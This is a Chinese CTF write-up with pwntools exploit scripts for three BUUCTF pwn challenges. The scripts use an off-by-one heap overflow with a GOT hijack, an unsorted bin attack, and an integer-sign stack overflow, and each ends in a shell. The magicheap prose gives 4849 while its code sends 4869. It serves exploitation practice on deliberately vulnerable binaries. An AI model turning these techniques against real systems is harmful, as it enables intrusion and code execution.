heapcreator

一道关于got表劫持的思路,存在off-by-one可以改写堆块大小

说一下关于0x8,0x8是\b,即退格键,也就是说\b可以消除输入在他前面的空格或者\t,如果是\t后面有空格,就消除空格,能输出一个\t,就是六个字符的宽度

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

pe='./heapcreator'
libc_23='./libc-2.23.so'
libc_27='./libc-2.27.so'
ip,port = 'node3.buuoj.cn',25568
elf=ELF(pe)
libc=ELF(libc_23)

if args['REMOTE']:
p = remote(ip,port)
else:
p = process(pe)

def get_one(): #one_gadget
if(arch == '64'):
if(version == '2.23'):
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]

if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365, 0x4f3c2, 0x10a45c]

return one


def add(size,context):
p.sendafter('Your choice :','1')
p.sendafter('Size of Heap : ',str(size))
p.sendafter('Content of heap:',str(context))

def edit(index,context):
p.sendafter('Your choice :','2')
p.sendafter('Index :',str(index))
p.sendafter('Content of heap : ',str(context))

def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil(' :')
p.sendline(str(idx))

def de(index):
p.sendafter('Your choice :','4')
p.sendafter('Index :',str(index))



def main():
add(0x18,'aaaa')#0
add(0x10,'bbbb')#1
add(0x10,'cccc')#2
# gdb.attach(p)
edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
de(1)
add(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))#2
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
bin_sh_libc=next(libc.search("/bin/sh"))
system_libc=libc.symbols['system']
free_libc=libc.symbols['free']
offset=free_addr-free_libc
system_addr=system_libc+offset
bin_addr=bin_sh_libc+offset
success('free_addr ' + hex(free_addr))
success("system: " + hex(system_addr))
success("bin_addr: " + hex(bin_addr))
# gdb.attach(p)
edit(2,p64(system_addr))
de(0)

p.interactive()
if __name__ == '__main__':
main()

magicheap

利用 unsorted bin attack 覆盖 magic>0x1305,然后输入 v3= 4849, 就可以拿到 shell了。

(chunk 2 是为了防止 free chunk 1 的时候 chunk 1 与 top chunk 合并,chunk0,chunk2的大小随意,chunk1的大小要>0x80(fast bin最大为0x80),这样free它的时候会进入到unsorted bin(chunk在被释放后,如果其大小不在fast bin的范围内,会被先放到unsorted bin,在申请内存的时候如果大小不是fast bin大小的内存并且在small bin中没有找到合适的chunk,就会去unsorted中寻找。《N1BOOK》p367))

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

pe='./magicheap'
libc_23='/lib/x86_64-linux-gnu/libc.so.6'
libc_27='./libc-2.27.so'
ip,port = 'node3.buuoj.cn',26272
elf=ELF(pe)
libc=ELF(libc_23)

if args['REMOTE']:
p = remote(ip,port)
else:
p = process(pe)

def get_one(): #one_gadget
if(arch == '64'):
if(version == '2.23'):
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]

if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365, 0x4f3c2, 0x10a45c]

return one


def add(size,context):
p.sendafter('Your choice :','1')
p.sendafter('Size of Heap : ',str(size))
p.sendafter('Content of heap:',str(context))

def edit(index,size,context):
p.sendafter('Your choice :','2')
p.sendafter('Index :',str(index))
p.sendafter('Size of Heap : ',str(size))
p.sendafter('Content of heap : ',str(context))

def de(index):
p.sendafter('Your choice :','3')
p.sendafter('Index :',str(index))



def main():
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1
add(0x10,'cccc')#2
# gdb.attach(p)
de(1)
magic=0x6020A0
edit(0,0x50,0x20 * "a" + p64(0)+p64(0x91)+p64(0)+p64(magic-10))
add(0x80,'dddd')
p.sendafter(':','4869')

p.interactive()
if __name__ == '__main__':
main()

bjdctf_2020_babystack2

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

pe='./bjdctf_2020_babystack2'
libc_23='./libc-2.23.so'
libc_27='./libc-2.27.so'
ip,port = 'node3.buuoj.cn',26309
elf=ELF(pe)
libc=ELF(libc_23)

if args['REMOTE']:
p = remote(ip,port)
else:
p = process(pe)

def get_one(): #one_gadget
if(arch == '64'):
if(version == '2.23'):
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]

if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365, 0x4f3c2, 0x10a45c]

return one


def main():
shell_addr = 0x0400726
p.recv()
p.sendline('-1')
p.recv()
payload = '\x00'*0x10 + 'bbbbbbbb' + p64(shell_addr)
p.send(payload)
p.interactive()

if __name__ == '__main__':
main()